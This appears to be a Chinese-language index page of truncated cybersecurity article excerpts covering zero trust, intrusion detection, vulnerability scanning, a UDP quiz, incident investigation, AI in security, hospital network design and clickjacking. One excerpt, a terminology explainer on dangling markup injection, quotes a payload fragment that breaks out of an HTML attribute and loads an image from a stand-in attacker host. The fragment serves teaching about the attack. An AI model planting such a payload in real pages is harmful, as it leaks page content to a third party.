重塑网络安全格局：零信任安全架构的崛起与革新
orrester Research的首席分析师，Kindervag意识到，传统的访问模式基于过时的假设，即企业应该信任其网络内的一切。当时的想法是，基于外围的安全（即防火墙）足以验证用户访问并完全确保网络安全。但是，随着越来越多的员工开始通过各种类型的设备和各种连接远程访问系统，这种信任结构被证明不足以有效管理分布式员工。 与此同时，谷歌创建了BeyondCorp，用于将传统的VPN访问策略迁移到一种新的...
＜网络安全＞《8 入侵检测系统IDS》
1 概念 入侵检测系统（intrusion detection system，简称“IDS”）是一种对网络传输进行即时监视，在发现可疑传输时发出警报或者采取主动反应措施的网络安全设备。它与其他网络安全设备的不同之处便在于，IDS是一种积极主动的安全防护技术。 2 发展历程 IDS最早出现在1980年4月。 1980年代中期，IDS逐渐发展成为入侵检测专家系统（IDES）。 1990年，IDS分化为基于网...
网络安全产品之认识漏洞扫描设备
端口、应用软件等网络设备进行智能识别扫描检测，并对其检测出的漏洞进行报警提示管理人员进行修复。同时，漏洞扫描设备还可以对漏洞修复情况进行监督并自动定时对漏洞进行审计，提高漏洞修复效率。 漏洞扫描设备在网络安全领域中发挥着重要的作用。它可以及时发现和修复网络中存在的安全漏洞，提高系统的安全性，降低被攻击的风险。在实际使用中，可以根据需要选择合适的扫描技术和工具，以最大程度地保障网络安全。 二、漏洞扫描设备的...
计算机安全学习笔记(VI)：9道关于网络安全的练习题
1.哪个 UDP 字段用于检测数据报损坏？ a. 总长度b. 目的端口c. 校验和d. 源端口 正确答案是： c. 校验和(Checksum) 在UDP（用户数据报协议）中，校验和（Checksum）字段用于检测数据报文的完整性。当发送端创建UDP数据报文时，它会计算数据报文的校验和，并将其放置在UDP头部的校验和字段中。接收端在收到数据报文时，也会计算一个校验和，然后与头部中的校验和进行比较。如果两者不...
如何有效开展网络安全事件调查工作
网络安全事件调查是现代企业网络安全体系建设的关键组成部分。为了防止网络攻击，仅仅关注于安全工具的应用效果远远不够，因为安全事件一直都在发生。安全团队只有充分了解攻击者的行踪和攻击路径，才能更好地防范更多攻击时间的发生。 做好网络安全事件调查看上去并不复杂，只要收集有关企业IT系统的运行数据，然后分析其中的异常情况即可。然而，这项看似简单的工作背后隐藏着诸多不确定因素。在网络安全事件调查中，需要采取合法合规...
「 网络安全术语解读 」悬空标记注入详解
使用以下语法打破引用的属性值和封闭标记，并返回HTML上下文： "> 在这种情况下，攻击者自然会尝试执行XSS（「 典型安全漏洞系列 」01.XSS攻击详解）。但假设由于输入筛选器、内容安全策略（「 网络安全术语解读 」内容安全策略CSP详解）或其他障碍，常规XSS攻击是不可能的。在这里，仍然可以使用如下有效负载来提供悬空标记注入攻击： "><img src='//attacker-website.com...
网络安全中的人工智能
网络安全中的人工智能 来自网络的安全威胁是每个组织正在面对的关键问题之一，而AI被认为是在网络安全行业具有广阔前景的一种前沿技术。如今的网络安全威胁几乎没有留下犯错的余地。为了持续地、先发制人地应对那些高智商且具有破坏性的在线攻击者，企业的网络安全策略必须包含一系列不断发展的技术手段和技术规程。互联网安全服务（Internet Security Service）提供了包括防范病毒、间谍软件和其他威胁...
医院网络安全建设：三网整体设计和云数据中心架构设计
医院网络安全问题涉及到医院日常管理多个方面，一旦医院信息管理系统在正常运行过程中受到外部恶意攻击，或者出现意外中断等情况，都会造成海量医疗数据信息的丢失。由于医院信息管理系统中存储了大量患者个人信息和治疗方案信息等，如果这些数据信息遭到篡改很容易导致医疗事故的发生。因此，鉴于医院的特殊性质，在信息化建设中必须加强网络安全防护工作，以完善的策略保护医院网络的安全稳定运行。 一、传统医院网络安全架构简介 国内...
「 网络安全术语解读 」点击劫持Clickjacking详解
frame的内容没有正确的权限控制，可能会泄露敏感信息或导致安全风险（PS：这就引出了本文接下来要讨论的重点）。 2. Clickjacking的定义 点击劫持（Clickjacking）是一种常见的网络安全攻击手段，它是一种基于界面的攻击手段，利用了隐藏的网站通过诱骗用户点击诱饵网站中的其他内容来点击一个隐藏的网站上的可操作内容。 举例： 一个网络用户访问一个诱饵网站（可能是通过电子邮件提供的链接），并...